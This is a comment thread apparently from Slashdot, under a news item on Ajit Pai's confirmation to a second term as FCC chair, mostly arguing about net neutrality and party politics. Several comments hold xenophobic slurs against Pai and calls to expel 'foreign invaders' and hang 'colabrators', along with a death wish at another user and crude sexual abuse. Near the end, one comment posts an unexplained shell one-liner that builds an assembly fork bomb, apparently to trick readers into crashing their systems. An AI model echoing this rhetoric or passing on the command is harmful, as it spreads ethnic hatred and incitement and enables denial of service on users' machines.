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Ex-Verizon Lawyer Ajit Pai Confirmed To Second Term As FCC Chair (fastcompany.com)
Congress late Monday approved Ajit Pai for a second term as chair of the Federal Communications Commission, Fast Company reports. "The Senate voted 52-41 (with almost all 'yea' votes coming from Republicans) to give Pai a new five-year term retroactive to July 1, 2017. Without the confirmation, Pai would have had to give up the chair at the end of 2017."
"I am deeply grateful to the U.S. Senate for confirming my nomination to serve a second term at the FCC and to President Trump for submitting that nomination to the Senate," Pai said in a statement. Pai served as Associate General Counsel at Verizon Communications Inc. in February 2001, where he handled competition matters, regulatory issues, and counseling of business units on broadband initiatives.
"I am deeply grateful to the U.S. Senate for confirming my nomination to serve a second term at the FCC and to President Trump for submitting that nomination to the Senate," Pai said in a statement. Pai served as Associate General Counsel at Verizon Communications Inc. in February 2001, where he handled competition matters, regulatory issues, and counseling of business units on broadband initiatives.
This country is well and truly fucked.
Hey, we had a good run! 20+ years of open internet! (starts torrenting everything I can before the Wild West ends).
who are the fucking moron democrats that reconfirmed this nitwit?
All hail the mighty corporate overlords. Bow before your nobility peasants! Scrape and bow before your betters, and pray they are generous enough to leave you what little pittance you deserve.
How much can states override the FCC's proclamations? While the Constitution gives the Federal Gov't control over most "interstate commerce", within a state, in theory the state should have a lot of control in terms of privacy, throttling, anti-trust, etc.
Let the red states have choice-free oligopolies that overlord their content and privacy; the fools deserve it.
Table-ized A.I.
and not the electric chair instead.
'The Economy' is a giant Ponzi scheme whose most pitiable suckers are the youngest among us and the yet-unborn.
When the hell was the first term? His party has only held the White House for 8 months. Now he’s getting a “second” “five-year term”? WTF?
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What would that solve? You may not have noticed but he is not acting alone. RTFA. There are countless other stooges to replace him. The only way to stop the madness is to vote Libertarian. It's the only party that doesn't want to screw everyone - rich people would get to keep their money, middle class people would get to keep their choices, poor people would find work more easily when there is less government bureaucracy, everyone would get to keep their drugs and guns and net neutrality.
You might think that Libertarians would support free market on this ISP stuff but, in the infamous words of Obama, "you didn't build that." The internet is built on research sponsored by government and by the desire and effort of many people to participate. It could have never worked as a single company effort. If someone wants to pay for and build their own infrastructure let them make up whatever rules they want, but the Internet as it exists today is a commons and it does need regulation by government to prevent abuse of the many by a greedy few.
The Republicans are all about imposing "conservative" oppressive constraints on the masses to keep everyone subservient to whoever are the masters of that cult. They like to control every aspect of your social, religious and biological life so you have to get permission from them to reproduce. They don't want you to have freedom of assembly so they can easily get rid you if you decide to challenge their control.
The Democrats are all about imposing "liberal" oppressive constraints on the masses to keep them subservient to whoever are the masters of that cult. They like to control every aspect of your political and economic life so you have to get permission from them to accumulate wealth. They don't want you to have guns so you will be powerless to revolt when you wake up in a communist group-think country one day and figure out it was them driving it all along.
The Libertarian party is different from these. It's about freedom and responsibility. You can read about it at lp.org but looking back on biggest government scandals of the last 100 years... they would have been avoided if we had a Libertarian perspective guiding those decisions instead of "what's in it for me" style politics that characterize both Republican and Democrat officials.
We are going to be spending year rebuilding and improving our democracy and civil society. By analogy, no matter how much you weed, they keep coming back. So now we go back, elect civil folks and make it better.
Get mad. Don't get mad. Get motivated, be depressed. It doesn't matter. We must do the work. We just have to go out and select some sane and civil folks for office and stay involved so that things don't drift off course again. NO magic - just dedicated work. A careful dedication to have sane conversations with other people of good will even if we disagree with their political views will do more than anything else. Now is the time to look to the center and demand the best of everyone by marginalizing those divisive brutes who would destroy our democracy. Pay careful attention to those you agree with politically and if those people are acting divisive then you have a particular responsibility to call on your friends to speaking with a civil tong.
"Ex" implies he is no longer working for Verizon, which as we have quite clearly seen in fact not the case.
Why are we paying this guy's salary? An automatic rubber-stamper would be cheaper.
Look at how pleased he is to get fucked in the ass.
As long as the assfucker tells him they're on the same team he happily opens up his pucker hole to get pozz'd.
It's so weird to me. I work for a company that wants to fuck you.. poor schlubs who work at "grind" jobs... crying that we can't extract enough money from you.
I used to feel bad for people like you, I do less and less and get richer and richer. I wonder if this is what happens to everyone when they get rich, they see guys like you begging to be slaves and think "well fuck em they like it"
Jesus christ you main stream media sheep!! God don't you know anyone can edit it!!!
WAKE UP SHEEPLE
GOD WHAT A DUMBASS
Confirming once and for all, if nothing else has, that this country no longer belongs to us. An FCC chair who has openly declared that public opinion will be disregarded, confirmed by a Congress with the lowest approval rating in history, lead by an executive that a majority of the country believes is unqualified to hold the position.
MAGA... please.
I'm literally confused how this is not going in a sane direction.
No one that I know associated with information technology thinks this is a good idea. The only ones who do are the robber-barons.
They are small in number, but rich in money, power, and resources.
But still - goddamn it, this is information technology - this is OUR thing! Who do those fuckers think they are?
There are a good many things happening right now that I have to choke down, but I don't think net neutrality has to be one of them. Come on people, if you are reading this - band together. Rise up! We need unified action resulting in unstoppable force brought to bear on those who would destroy net neutrality.
I don't have much of a clue how we might do that, but I know that it's all about money. The cell service providers are the primary actors in this impending disaster. Can anyone think of a way to put the monetary screws to them, and make sure they know it's about net neutrality?
Was it really useful to shoehorn "Ex-Verizon lawyer" in the title of this story? Everyone already knows that you're an Apple shill and that you're getting your marching orders from them. Maybe you could serve your masters with a little more subtlety and once in a while pretend that you're just reporting news instead of shoving your propaganda down the readers throats?
There's people here that have been reading Slashdot since before you learned to speak, show some respect and don't make it another Huffington post.
lucm, indeed.
Hit him where it hurts, his pocketbook.
Sue him out of existence, and the next guy in line, so on and so on until we're at the point of suing Donna Strumpet for being a Russian puppet.
Yes, Pai is quite strong on ending net neutrality as the Congress has been bought and paid for by the big ISP's. All this not withstanding the vast public outcry against it's repeal. This means the death of the internet as we know it today in the US. Gird your loins, gents: The world is about to change. The free flow of information we now enjoy is going to vanish right in front of our eyes.
How did this illegal immigrant manage to stay long enough to become so powerful?
Lax immigration. Now he's making laws that favor his home country of india to the detriment of the true red blooded Americans.
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Nobody listens to you. Nobody cares about you. A rainstorm of shit falls upon you, making you all brown and stinky. Bitter tears streak your feces-encrusted faces all while your wailing mouths are filled to the brim with the excrements of humanity.
Yay
Right now it's doing more harm than good and making average people dumber anyway. It would be great if we could even go a week without the internet, most people can't even do one hour.
We have an Indian bastard being posted to one of the highest government posts in the land, where he is going to fuck over the citizens of the USA. We need to kick out all the foreign invaders like the Chinese kicked out their Mongol overlords ohh soo many years ago. We also need to hang all the colabrators that are working with foreign nations to fuck the citizens.
The government, corporations, and media are actively working to fuck over the United States.
The strong survive and the weak end up serving the strong. The media full of money from foreign power has convinced to populace that it is noble to be weak.
You're just another apathetic, cowardly piece of shit who can't be bothered to actually DO anything about anything, you just bend over and take up the ass whatever it is they want to shove up there, and you smile and ask for more so you don't 'offend' anyone. Worse, you tell others they should do the same. How about YOU fucking DIE, you worthless piece of SHIT?
Your time at Verizon is over. Now you must choose between nice clean job at non profit or designated shitting lobby.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
While the rest of us enjoy licking that stuff on the bottom of their boot.